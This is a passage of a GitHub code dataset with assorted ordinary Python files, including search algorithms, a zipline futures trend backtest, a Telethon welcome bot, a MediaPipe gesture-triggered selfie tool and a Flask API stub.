input_text.upper()):\r\n item = timestamp.group(0)\r\n if item.find(\"AM\") == 8:\r\n if item.find(\"12\") == 0:\r\n item = \"00\" + item[2:8]\r\n else:\r\n item = item[0:8]\r\n elif item.find(\"PM\") == 8:\r\n if item.find(\"12\") == 0:\r\n item = item[0:8]\r\n else:\r\n hours = int(item[0:2]) + 12\r\n item = str(hours) + item[2:8]\r\n with open('output.txt', 'a') as output:\r\n output.write(item + '\\n')","repo_name":"Thalarion/akariel","sub_path":"timeExtraction.py","file_name":"timeExtraction.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12817082037","text":"import sys\nfrom collections import deque\n\n\ndef solve():\n global n, fx, fy, tx, ty\n\n visited = [[False for _ in range(n+1)] for _ in range(n+1)]\n\n q = deque([(fx, fy)])\n visited[fx][fy] = True\n\n ans = 0\n while q:\n for _ in range(len(q)):\n cx, cy = q.popleft()\n\n if (cx, cy) == (tx, ty):\n return print(ans)\n\n for dx, dy in ds:\n nx, ny = cx+dx, cy+dy\n\n # 보드판 위가 아니라면 안댐\n if not is_valid(nx, ny) or visited[nx][ny]:\n continue\n\n visited[nx][ny] = True\n q.append((nx, ny))\n\n ans += 1\n\n print(ans)\n\n\ndef is_valid(x, y):\n global n\n\n if not 0 <= x < n or not 0 <= y < n:\n return False\n\n return True\n\n\n# 이동\nds = [(-1, -2), (-2, -1), (-2, 1), (-1, 2), (1, 2), (2, 1), (2, -1), (1, -2)]\n# 입력\nt = int(sys.stdin.readline().strip())\nfor _ in range(t):\n n = int(sys.stdin.readline().strip())\n fx, fy = map(int, sys.stdin.readline().strip().split(\" \"))\n tx, ty = map(int, sys.stdin.readline().strip().split(\" \"))\n solve()\n#\n# cx, cy = 0 ,0\n# tx, ty = 0, 7\n#\n# print((cx, cy) == (tx, ty))","repo_name":"galid1/Algorithm","sub_path":"python/baekjoon/2.algorithm/DFS_BFS/백준_나이트의_이동.py","file_name":"백준_나이트의_이동.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"12347660811","text":"import sqlite3\nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom Borrower import Borrower\nfrom Loan import Loan\n\n\nclass DbConnection:\n conn: sqlite3.Connection\n cursor: sqlite3.Cursor\n\n def __init__(self, database_file: str):\n self.conn = sqlite3.connect(database_file)\n self.cursor = self.conn.cursor()\n self.cursor.execute('''CREATE TABLE IF NOT EXISTS Blacklist (Personal_id INTEGER PRIMARY KEY)''')\n self.cursor.execute('''CREATE TABLE IF NOT EXISTS Loans (ID INTEGER PRIMARY KEY AUTOINCREMENT, Amount INTEGER, \n TERM INTEGER, Name TEXT, Borrower_id INTEGER, Loan_time timestamp)''')\n\n def is_blacklisted(self, borrower_id: int) -> bool:\n results = self.cursor.execute(\"SELECT * from Blacklist WHERE Personal_id = ?\", [borrower_id])\n if results.fetchone() is not None:\n return True\n return False\n\n def too_many_applications(self, personal_id: int) -> bool:\n now = datetime.now()\n yesterday = now - timedelta(days=1)\n params = (personal_id, yesterday, now)\n self.cursor.execute(\"SELECT * FROM Loans WHERE Borrower_id = ? AND Loan_time BETWEEN ? AND ?\",\n params)\n count = len(self.cursor.fetchall())\n if count > 1:\n return True\n return False\n\n def add_loan(self, amount: int, term: int, name: str, borrower_id: int):\n params = (amount, term, name, borrower_id, datetime.now())\n self.cursor.execute(\"INSERT INTO Loans (amount, term, name, borrower_id, loan_time) VALUES (?, \"\n \"?, ?, ?, ?)\", params)\n self.conn.commit()\n\n def list_loans(self, borrower_id):\n self.cursor.execute(\"SELECT * from Loans WHERE Borrower_id = ?\", [borrower_id])\n results = self.cursor.fetchall()\n loans = []\n for loan in results:\n loans.append(Loan(amount=loan[1], term=loan[2], borrower=Borrower(name=loan[3], personal_id=loan[4])))\n\n return {\"Loans\": loans}\n","repo_name":"carlbogo/AdCash","sub_path":"db_connection.py","file_name":"db_connection.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71112151844","text":"# Protected variables:\n# It is denoted by the single underscore ' _ '\n\n\nclass Employee:\n def __init__(self,Ename,Eage,Esalary):\n self.name = Ename # public member\n self._age = Eage # protected member\n self._salary = Esalary\n # Accessing the protectd variable inside of a class\n def Dispaly(self):\n print(self.name,\n self._age,\n self._salary)\nob1 = Employee('Vishalbhai',23,80000)\nob1.Dispaly()\n# Vishalbhai 23 80000","repo_name":"Mani015/Python_12pm","sub_path":"Python_Notes/Day-42-Encapsulation/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"31500242831","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\n\nclass title_links:\n def get_title(self):\n url = f'https://web.dongguk.ac.kr/mbs/kr/jsp/board/list_all.jsp?boardId=0&id=kr_070101000000'\n req = requests.get(url)\n soup = BeautifulSoup(req.content, 'html.parser')\n\n #title = soup.find(\"tbody\").find_all(class_='subject')\n title = soup.find(\"tbody\").find_all('tr')\n #itle = soup.select(\"tbody\")\n\n for i in title:\n text = i.select(\"td.subject\")[0].text\n href = 'https://web.dongguk.ac.kr/mbs/kr/jsp/board/' + i.select(\"a\")[0].attrs['href']\n\n hyper = text + href\n print(hyper)\n\na = title_links()\na.get_title()","repo_name":"morethanmini/Notice_dongguk","sub_path":"get_title.py","file_name":"get_title.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9597894474","text":"#!python\n\ndef linear_search(array, item):\n \"\"\"return the first index of item in array or None if item is not found\"\"\"\n # implement linear_search_iterative and linear_search_recursive below, then\n # change this to call your implementation to verify it passes all tests\n return linear_search_recursive(array, item)\n # return linear_search_recursive(array, item)\n\n\ndef linear_search_iterative(array, item):\n # loop over all array values until item is found\n for index, value in enumerate(array):\n if item == value:\n return index # found\n\n\ndef linear_search_recursive(array, item, index=0):\n if index >= len(array):\n return\n if array[index] == item:\n return index\n return linear_search_recursive(array, item, index+1)\n # once implemented, change linear_search to call linear_search_recursive\n # to verify that your recursive implementation passes all tests\n\n\ndef binary_search(array, item):\n \"\"\"return the index of item in sorted array or None if item is not found\"\"\"\n # implement binary_search_iterative and binary_search_recursive below, then\n # change this to call your implementation to verify it passes all tests\n return binary_search_recursive(array, item)\n\n\ndef binary_search_iterative(array, item):\n lo = 0\n hi = len(array) - 1\n\n while lo <= hi:\n mid = (hi + lo) // 2\n\n if array[mid] == item:\n return mid\n\n if array[mid] < item:\n lo = mid + 1\n else:\n hi = mid - 1\n\n\ndef binary_search_recursive(array, item, left=0, right=None):\n\n if right is None:\n right = len(array) - 1\n\n if left > right:\n return None\n mid = (left + right) // 2\n\n if array[mid] == item:\n return mid\n\n if array[mid] < item:\n return binary_search_recursive(array, item, mid + 1, right)\n return binary_search_recursive(array, item, left, mid - 1)\n","repo_name":"escofresco/makeschool_cs13_core_ds","sub_path":"Code/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20620890221","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# File Name: main.py\n# Description :\n# Author : SanYapeng\n# date: 2019-05-17\n# Change Activity: 2019-05-17:\nimport os\nfrom homework.day06.zuoye.base import Database,Base,Message\nfrom homework.day06.zuoye import school\nfrom homework.day06.zuoye.user import login\nclass Servcie:\n def __init__(self):\n self.b = Base()\n self.db = Database()\n self.message = Message()\n\n\n def run(self):\n while True:\n self.message.Welcome()\n num = int(input(\"请输入您要的操作:\"))\n if num == 1:\n login()\n elif num == 2:\n pass\n elif num == 3:\n self.b.logout()\n\n\n\n\nif __name__ == '__main__':\n s = Servcie()\n s.run()\n","repo_name":"kellysan/oldboy","sub_path":"homework/day06/zuoye/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12634024673","text":"import sys\nimport pygame\nfrom bullet import Bullet\nfrom enemy import Enemy\n\ndef check_events(hero, ai_settings, screen, bullets):\n \"\"\"Respond to keypresses and mouse events.\"\"\"\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n check_keydown_events(event, hero, ai_settings, screen, bullets)\n elif event.type == pygame.KEYUP:\n check_keyup_events(event, hero)\n\ndef check_keydown_events(event, hero, ai_settings, screen, bullets):\n \"\"\"Respond to keypresses.\"\"\"\n if event.key == pygame.K_RIGHT:\n hero.moving_right = True\n elif event.key == pygame.K_LEFT:\n hero.moving_left = True\n elif event.key == pygame.K_SPACE:\n fire_bullet(ai_settings, screen, hero, bullets)\n elif event.key == pygame.K_q:\n sys.exit()\n\ndef check_keyup_events(event, hero):\n \"\"\"Respond to keypresses.\"\"\"\n if event.key == pygame.K_RIGHT:\n hero.moving_right = False\n elif event.key == pygame.K_LEFT:\n hero.moving_left = False\n\n\ndef update_screen(ai_settings, screen, hero, enemies, bullets):\n \"\"\"Update images on the screen and flip to the new screen.\"\"\"\n #Redraw the screen during each pass through the loop.\n screen.fill(ai_settings.bg_color)\n hero.blitme()\n enemies.draw(screen)\n\n #Redraw all bullets behind hero and enemies.\n for bullet in bullets.sprites():\n bullet.draw_bullet()\n\n #Make the most recently drawn screen visible.\n pygame.display.flip()\n\ndef update_bullets(bullets):\n \"\"\"Update position of bullets and get rid of old bullets.\"\"\"\n #Update bullet positions.\n bullets.update()\n \n #Get rid of bullets that have disappeared.\n for bullet in bullets.copy():\n if bullet.rect.bottom <= 0:\n bullets.remove(bullet)\n # print(len(bullets))\n\ndef fire_bullet(ai_settings, screen, hero, bullets):\n \"\"\"Fire a bullet if limit not reached yet.\"\"\"\n #Create a new bullet and add it to the bullets group.\n if len(bullets)< ai_settings.bullets_allowed:\n new_bullet = Bullet(ai_settings, screen, hero)\n bullets.add(new_bullet)\n \ndef create_fleet(ai_settings, screen, enemies):\n \"\"\"Createa full fleet of enemies.\"\"\"\n #Create an enemy and find the number of enemies in a row.\n #Spacing between each enemy is equal to one width.\n enemy = Enemy(ai_settings, screen)\n enemy_width = enemy.rect.width\n available_space_x = ai_settings.screen_width - 2 * enemy_width\n number_enemies_x = int(available_space_x / (2 * enemy_width))\n\n #Create the first row of enemies.\n for enemy_number in range(number_enemies_x):\n #Create an enemy and place it in the row.\n enemy = Enemy(ai_settings, screen)\n enemy.x = enemy_width + 2 * enemy_width * enemy_number\n enemy.rect.x = enemy.x\n enemies.add(enemy) \n ","repo_name":"barthol0/dp-invader","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32474964422","text":"from sklearn import svm\nimport random\nimport sys\n\n\niRowNum = 1000\niRandBitsNum = 20\niColNum = iRandBitsNum*8\n\narrMetterBits = [5,22]#,93]#,157] # All numbers must be less then iColNum\n\nfor i in arrMetterBits:\n if (i>iColNum):\n print(\"Numbers in arrMetterBits must be less then iColNum.\")\n sys.exit(0)\n \n_random_source = open(\"/dev/random\",\"rb\")\n\ndef GetBin(the_num,sign_ammount):\n \n result_arr = []\n \n for i in range(0,sign_ammount):\n if (the_num&1 == 1):\n result_arr.append(1)\n #print(\"1\",end=\"\")\n else: \n result_arr.append(0)\n #print(\"0\",end=\"\")\n the_num = the_num>>1\n \n return result_arr\n\n\nhashRL = {}\nfor i in range(2**len(arrMetterBits)):\n\tif (i>=(2**len(arrMetterBits))/4 and i<((2**len(arrMetterBits))/4+(2**len(arrMetterBits))/2)):\n\t\tprint(\"Class 0:\",GetBin(i,len(arrMetterBits)))\n\t\tsTmp = \"\"\n\t\tfor s in GetBin(i,len(arrMetterBits)):\n\t\t\tsTmp += str(s)\n\t\thashRL[sTmp]=0\n\telse:\t\n\t\tprint(\"Class 1:\",GetBin(i,len(arrMetterBits)))\n\t\tsTmp = \"\"\n\t\tfor s in GetBin(i,len(arrMetterBits)):\n\t\t\tsTmp += str(s)\n\t\thashRL[sTmp]=1\n\n\nsTf = \"svc_v2_train_file.txt\"\nfF = open(sTf,\"w\") \n\nfor isn in range(iRowNum):\n \n rand_bytes = _random_source.read(iRandBitsNum)\n rand_num = int.from_bytes(rand_bytes,\"big\",signed=False)\n arrBin = GetBin(rand_num,iRandBitsNum*8)\n\n sTmp = \"\"\n for i in arrMetterBits:\n sTmp += str(arrBin[i])\n\n fF.write(str(hashRL.get(sTmp))+\";\")\n for i in arrBin:\n fF.write(str(i)+\";\")\n fF.write(\"\\n\")\n\nfF.close()\n\nsCf = \"svc_v2_test_file.txt\"\nfF = open(sCf,\"w\") \n\nfor isn in range(iRowNum):\n \n rand_bytes = _random_source.read(iRandBitsNum)\n rand_num = int.from_bytes(rand_bytes,\"big\",signed=False)\n arrBin = GetBin(rand_num,iRandBitsNum*8)\n\n sTmp = \"\"\n for i in arrMetterBits:\n sTmp += str(arrBin[i])\n\n fF.write(str(hashRL.get(sTmp))+\";\")\n for i in arrBin:\n fF.write(str(i)+\";\")\n fF.write(\"\\n\")\n\nfF.close()\n\nprint()\nprint(\"Created files:\")\nprint(\" \"+sTf)\nprint(\" \"+sCf)\n\n\n","repo_name":"sdiving777/SVC","sub_path":"svc_test_v2_prepare_files.py","file_name":"svc_test_v2_prepare_files.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3295910339","text":"import asyncio\nfrom telethon import TelegramClient\nfrom config import API_ID,API_HASH\nfrom telethon import events\n\nasync def main():\n client = TelegramClient(\"realBot\",API_ID,API_HASH)\n await client.start()\n\n\n @client.on(events.ChatAction)\n async def handler(event):\n\n if event.user_joined:\n user = await event.get_user()\n await event.reply(f'Welcome {user.first_name}')\n await event.delete()\n \n if event.user_left:\n user = await event.get_user()\n await event.reply(f'Bye {user.first_name}')\n await event.delete()\n\n \n\n\n\n await client.run_until_disconnected()\n\nasyncio.run(main())","repo_name":"dotpy-ir/telethon-course","sub_path":"chat_actions.py","file_name":"chat_actions.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"33097868890","text":"import os\nimport subprocess\nimport time\n\nfirstboot=True\nwhile True:\n if firstboot:\n firstboot=False\n os.system(\"echo > result.txt\")\n command = \"python3 gui.py\"\n process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n time.sleep(2)\n os.system(\"xdotool mousemove 100 100 click 1\")\n process.wait()\n time.sleep(0.1)\n","repo_name":"oshwabadge2020/test-jig-sw","sub_path":"gui-autoreload.py","file_name":"gui-autoreload.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5846834646","text":"import rospy\nfrom franka_msgs.srv import SetKFrame, SetKFrameRequest, SetKFrameResponse\n\nclass SetKFrameService:\n def __init__(self) -> None:\n self.client = rospy.ServiceProxy(\"/franka_control/set_K_frame\",\n SetKFrame)\n \n def send_request(self, EE_T_K:list) -> SetKFrameResponse:\n msg = SetKFrameRequest()\n msg.EE_T_K = EE_T_K\n response = self.client.call(msg)\n return response\n\nif __name__ == \"__main__\":\n rospy.init_node(\"k_setup\")\n\n srv_K_frame = SetKFrameService()\n response = srv_K_frame.send_request([1.0, 0.0, 0.0, 0.2,\n 0.0, 1.0, 0.0, 0.0,\n 0.0, 0.0, 1.0, 0.2,\n 0.0, 0.0, 0.0, 1.0])\n print(response)","repo_name":"BlazGo/franka_qbhand","sub_path":"trash/franka_setK.py","file_name":"franka_setK.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5608105219","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\nimport zipline\nfrom zipline.api import future_symbol, set_commission, set_slippage, schedule_function, date_rules, time_rules, continuous_future, order_target\nfrom datetime import datetime\nimport pytz\nimport matplotlib.pyplot as plt\nimport pyfolio as pf\nimport pandas as pd\nimport numpy as np \nfrom zipline.finance.commission import PerTrade, PerContract\nfrom zipline.finance.slippage import VolumeShareSlippage, FixedSlippage, VolatilityVolumeShare\n\n\"\"\"\nModel Settings\n\"\"\"\nstarting_portfolio = 50000000\nrisk_factor = 0.0015\nstop_distance = 3\nbreakout_window = 50\nvola_window = 40\nslow_ma = 80\nfast_ma = 40\nenable_commission = True\nenable_slippage = True \n\n\ndef report_result(context, data):\n context.months += 1\n today = zipline.api.get_datetime().date()\n # Calculate annualized return so far\n ann_ret = np.power(context.portfolio.portfolio_value / starting_portfolio, \n 12 / context.months) - 1\n \n # Update the text\n out.value = \"\"\"{} We have traded {} months \n and the annualized return is {:.2%}\"\"\".format(today, context.months, ann_ret)\n\ndef roll_futures(context, data):\n open_orders = zipline.api.get_open_orders()\n \n for held_contract in context.portfolio.positions:\n # don't roll positions that are set to change by core logic\n if held_contract in open_orders: \n continue\n \n # Save some time by only checking rolls for\n # contracts stopping trading in the next days\n days_to_auto_close = (\n held_contract.auto_close_date.date() - data.current_session.date()\n ).days\n if days_to_auto_close > 5:\n continue \n \n # Make a continuation\n continuation = continuous_future(\n held_contract.root_symbol, \n offset=0, \n roll='volume', \n adjustment='mul'\n )\n \n # Get the current contract of the continuation\n continuation_contract = data.current(continuation, 'contract')\n \n if continuation_contract != held_contract:\n # Check how many contracts we hold\n pos_size = context.portfolio.positions[held_contract].amount \n # Close current position\n order_target(held_contract, 0)\n # Open new position\n order_target(continuation_contract, pos_size) \n \ndef position_size(portfolio_value, std, point_value):\n target_variation = portfolio_value * risk_factor\n contract_variation = std * point_value\n contracts = target_variation / contract_variation\n return int(np.nan_to_num(contracts)) \n \ndef initialize(context):\n \n \"\"\"\n Cost Settings\n \"\"\"\n if enable_commission:\n comm_model = PerContract(cost=0.85, exchange_fee=1.5)\n else:\n comm_model = PerTrade(cost=0.0)\n \n set_commission(us_futures=comm_model)\n \n if enable_slippage:\n slippage_model=VolatilityVolumeShare(volume_limit=0.2)\n else:\n slippage_model=FixedSlippage(spread=0.0) \n \n set_slippage(us_futures=slippage_model)\n \n \"\"\"\n Markets to trade\n \"\"\" \n currencies = [\n 'AD',\n 'BP',\n 'CD',\n 'CU',\n 'DX',\n 'JY',\n 'NE',\n 'SF',\n ]\n \n agricultural = [\n # 'BL',\n '_C',\n 'CT',\n 'FC',\n 'KC',\n 'LR',\n 'LS',\n '_O',\n '_S',\n 'SB',\n 'SM',\n '_W',\n ]\n nonagricultural = [\n 'CL',\n 'GC',\n 'HG',\n 'HO',\n 'LG',\n 'NG',\n 'PA',\n 'PL',\n 'RB',\n 'SI',\n ]\n equities = [\n 'ES',\n 'NK',\n 'NQ',\n 'TW',\n 'VX',\n 'YM',\n ]\n rates = [\n 'ED',\n 'FV',\n 'TU',\n 'TY',\n 'US',\n ]\n \n # Make a list of all the markets\n markets = currencies + agricultural + nonagricultural + equities + rates\n \n # Make a list of all continuations\n context.universe = [\n continuous_future(market, offset=0, roll='volume', adjustment='mul')\n for market in markets\n ]\n \n # We'll use these to keep track of best position reading\n # Used to calculate stop points.\n context.highest_in_position = {market: 0 for market in markets} \n context.lowest_in_position = {market: 0 for market in markets} \n\n # Schedule the daily trading\n schedule_function(daily_trade, date_rules.every_day(), time_rules.market_close())\n \n # We'll just use this for the progress output\n # during the backtest. Doesn't impact anything.\n context.months = 0 \n\n # Schedule monthly report output\n schedule_function(\n func=report_result,\n date_rule=date_rules.month_start(),\n time_rule=time_rules.market_open()\n ) \n \ndef analyze(context, perf):\n returns, positions, transactions = pf.utils.extract_rets_pos_txn_from_zipline(perf)\n pf.create_returns_tear_sheet(returns, benchmark_rets=None)\n \ndef daily_trade(context, data):\n # Get continuation data\n hist = data.history(\n context.universe, \n fields=['close','volume'], \n frequency='1d', \n bar_count=250,\n )\n\n # Calculate trend\n hist['trend'] = hist['close'].ewm(span=fast_ma).mean() > hist['close'].ewm(span=slow_ma).mean() \n \n # Make dictionary of open positions\n open_pos = {\n pos.root_symbol: pos \n for pos in context.portfolio.positions\n } \n \n # Iterate markets, check for trades\n for continuation in context.universe:\n \n # Get root symbol of continuation\n root = continuation.root_symbol\n \n # Slice off history for just this market\n h = hist.xs(continuation, 2)\n \n # Get standard deviation\n std = h.close.diff()[-vola_window:].std()\n\n if root in open_pos: # Position is open\n\n # Get position\n p = context.portfolio.positions[open_pos[root]]\n \n if p.amount > 0: # Position is long\n if context.highest_in_position[root] == 0: # First day holding the position\n context.highest_in_position[root] = p.cost_basis\n else:\n context.highest_in_position[root] = max(\n h['close'].iloc[-1], context.highest_in_position[root]\n ) \n \n # Calculate stop point\n stop = context.highest_in_position[root] - (std * stop_distance)\n # Check if stop is hit\n if h.iloc[-1]['close'] < stop:\n contract = open_pos[root]\n order_target(contract, 0)\n context.highest_in_position[root] = 0\n # Check if trend has flipped\n elif h['trend'].iloc[-1] == False:\n contract = open_pos[root]\n order_target(contract, 0)\n context.highest_in_position[root] = 0\n \n else: # Position is short\n if context.lowest_in_position[root] == 0: # First day holding the position\n context.lowest_in_position[root] = p.cost_basis\n else:\n context.lowest_in_position[root] = min(\n h['close'].iloc[-1], context.lowest_in_position[root]\n )\n \n # Calculate stop point\n stop = context.lowest_in_position[root] + (std * stop_distance)\n \n # Check if stop is hit\n if h.iloc[-1]['close'] > stop:\n contract = open_pos[root]\n order_target(contract, 0)\n context.lowest_in_position[root] = 0\n # Check if trend has flipped\n elif h['trend'].iloc[-1] == True:\n contract = open_pos[root]\n order_target(contract, 0)\n context.lowest_in_position[root] = 0 \n \n else: # No position on\n if h['trend'].iloc[-1]: # Bull trend\n # Check if we just made a new high\n if h['close'][-1] == h[-breakout_window:]['close'].max(): \n contract = data.current(continuation, 'contract')\n\n contracts_to_trade = position_size( context.portfolio.portfolio_value, std, contract.price_multiplier)\n \n # Limit size to 20% of avg. daily volume\n contracts_cap = int(h['volume'][-20:].mean() * 0.2)\n contracts_to_trade = min(contracts_to_trade, contracts_cap)\n \n # Place the order\n order_target(contract, contracts_to_trade)\n \n else: # Bear trend\n # Check if we just made a new low\n if h['close'][-1] == h[-breakout_window:]['close'].min(): \n contract = data.current(continuation, 'contract')\n\n contracts_to_trade = position_size( context.portfolio.portfolio_value, std, contract.price_multiplier)\n \n # Limit size to 20% of avg. daily volume\n contracts_cap = int(h['volume'][-20:].mean() * 0.2)\n contracts_to_trade = min(contracts_to_trade, contracts_cap)\n \n # Place the order\n order_target(contract, -1 * contracts_to_trade)\n \n # If we have open positions, check for rolls\n if len(open_pos) > 0: \n roll_futures(context, data) \n \nstart = datetime(2016, 1, 1, 8, 15, 12, 0, pytz.UTC)\nend = datetime(2019, 1, 2, 8, 15, 12, 0, pytz.UTC)\n\nperf = zipline.run_algorithm(\n start=start, end=end, \n initialize=initialize, \n analyze=analyze,\n capital_base=starting_portfolio, \n data_frequency = 'daily', \n bundle='random_futures_data' )\n\n\n# In[7]:\n\n\nperf.portfolio_value.to_csv('trend_model.csv')\n\n","repo_name":"sherrytp/TradingEvolved","sub_path":"Chapter 15 - Futures Trend Following/TrendModel.py","file_name":"TrendModel.py","file_ext":"py","file_size_in_byte":10545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20846441518","text":"import cv2\nimport mediapipe as mp\nimport pyautogui\nimport numpy as np\n\n# firebase config 정보 가져오기\nfrom firebase_config import bucket\n\n# my own video and webcam setting\n# 어떤 웹캠으로 할건지(첫번째 0, 두번째 1)\ncap = cv2.VideoCapture(0) # Replace with your own video and webcam\nhand_detector = mp.solutions.hands.Hands()\n\n# hand의 landmark를 연결해서 시각화\n# drawing_utils = mp.solutions.drawing_utils\nscreen_width, screen_height = pyautogui.size()\nindex_y = 0\n\ndef coordinate(id, h, w):\n cx, cy = landmark.x*w, landmark.y*h\n return cx, cy\n\nTake_photo=0\n# 사진 카운터 초기화\nphoto_counter = 1\n\nwhile True:\n # 재생되는 비디오의 한 프레임씩 읽기\n success, frame = cap.read()\n \n # 0는 x축, 1은 y축으로 flip\n frame = cv2.flip(frame, 1)\n frame_height, frame_width, _ = frame.shape\n \n if not success: \n break\n \n # opencv는 BGR 형식(Blue Green Red)에서 작동하지만 mediapipe는 RGB(Red Green Blue) 형식에서 작동하기 때문에 이미지를 처리하기 전에 이미지 형식을 변경\n frameRGB = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n results = hand_detector.process(frameRGB)\n # hand landmark의 좌표 추출\n hands = results.multi_hand_landmarks\n\n h, w, c = frame.shape\n # 주먹쥐기\n handsup=0\n thumbs_correct=0\n fingers_correct=0\n \n if hands:\n for hand in hands:\n # drawing_utils.draw_landmarks(frame, hand)\n landmarks = hand.landmark\n for id, landmark in enumerate(landmarks):\n # hand landmark\n x = int(landmark.x * frame_width)\n y = int(landmark.y * frame_height)\n \n # 검지\n if id == 8:\n # 전체 화면 크기 비례한 마우스 위치 이동\n index_x = screen_width / frame_width * x\n index_y = screen_height / frame_height * y\n pyautogui.moveTo(index_x, index_y)\n\n if id == 0: \n __, cy_0 = coordinate(0, h, w)\n if id == 10: \n __, cy_10 = coordinate(10, h, w)\n \n if id == 2:\n __, cy_2 = coordinate(2, h, w)\n if id == 3:\n __, cy_3 = coordinate(3, h, w)\n \n if id == 5: \n __, cy_5 = coordinate(5, h, w)\n if id == 9: \n __, cy_9 = coordinate(9, h, w)\n if id == 13: \n __, cy_13 = coordinate(13, h, w)\n if id == 17: \n __, cy_17 = coordinate(17, h, w)\n \n if id == 8: \n __, cy_8 = coordinate(8, h, w) \n if id == 12: \n __, cy_12 = coordinate(12, h, w)\n if id == 16: \n __, cy_16 = coordinate(16, h, w)\n if id == 20: \n __, cy_20 = coordinate(20, h, w)\n \n # 주먹\n if cy_10 < cy_0:\n handsup=1\n else:\n handsup=0\n \n if (cy_2 > cy_10 and cy_2 < cy_0) and (cy_3 > cy_10 and cy_3 < cy_0):\n thumbs_correct=1\n else:\n thumbs_correct=0\n \n if (cy_5 < cy_8) and (cy_9 < cy_12) and (cy_13 < cy_16) and (cy_17 < cy_20):\n fingers_correct=1\n else:\n figners_correct=0\n \n # 주먹쥐기 판단\n if handsup==1 and thumbs_correct==1 and fingers_correct==1 and Take_photo==0:\n Take_photo=120 #6초 / 1초 - 30\n pyautogui.click()\n pyautogui.sleep(1)\n \n if Take_photo>1: #타이머 동작 중\n if Take_photo>=90:\n cv2.putText(frame, '3', (int(w/2),int(h/2)), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) \n elif Take_photo>=60:\n cv2.putText(frame, '2', (int(w/2),int(h/2)), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3)\n elif Take_photo>=30:\n cv2.putText(frame, '1', (int(w/2),int(h/2)), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3)\n Take_photo-=1\n \n elif Take_photo==1:\n # 사진 이름 생성\n photo_name = f\"photo{photo_counter}.jpg\"\n # 사진 저장\n cv2.imwrite(photo_name, frame)\n \n # firebase storage에 이미지 업로드\n # 저장할 파일 경로와 이름을 지정\n blob = bucket.blob(f\"images/{photo_name}\")\n # 로컬파일을 firebase storage에 업로드\n blob.upload_from_filename(photo_name)\n \n # 사진 카운터 증가\n photo_counter += 1\n \n Take_photo=0\n \n # 프레임을 화면에 디스플레이\n cv2.imshow(\"Image\", frame)\n \n # OpenCV에서 사용자가 키보드의 입력을 대기하는 함수(밀리초 단위)\n # 반드시 .imshow랑 같이 쓸 것\n # q 입력하면 탈출\n if cv2.waitKey(1) & 0xFF==ord('q'):\n break \n \ncap.release() # cap객체를 해제\ncv2.destroyAllWindows() #생성된 윈도우 제거","repo_name":"smarfy99/mediapipe-virtual-mouse","sub_path":"hand_selfie.py","file_name":"hand_selfie.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14305518130","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nFile: __init__.py\nAuthor: huxuan\nEmail: i(at)huxuan.org\nDescription: Community related API.\n\"\"\"\nfrom datetime import date\n\nfrom flask import Blueprint\nfrom flask import request\nfrom flask.ext.restful import Api\nfrom flask.ext.restful import Resource\nfrom flask.ext.restful import inputs\nfrom flask.ext.restful import reqparse\n\nfrom .. import models\nfrom .. import utils\nfrom ..oauth import oauth\nfrom ..utils import reqparse\n\ncommunity = Blueprint('community', __name__)\napi = Api(community)\n\n\nclass CommunityAPI(Resource):\n def __init__(self):\n self.parser = reqparse.RequestParser()\n\n @oauth.require_oauth()\n def get(self):\n \"\"\" 获取小区信息\n\n **Example Request**:\n\n .. sourcecode:: http\n\n GET /api/community?id=1\n Authorization: Bearer YSj3GtbBvEWmFkL0hhH26PWQrpbSef\n\n **Example Response**:\n\n .. sourcecode:: http\n\n {\n \"message\": \"OK\",\n \"status_code\": 200,\n \"community\": {\n ...\n }\n }\n\n :
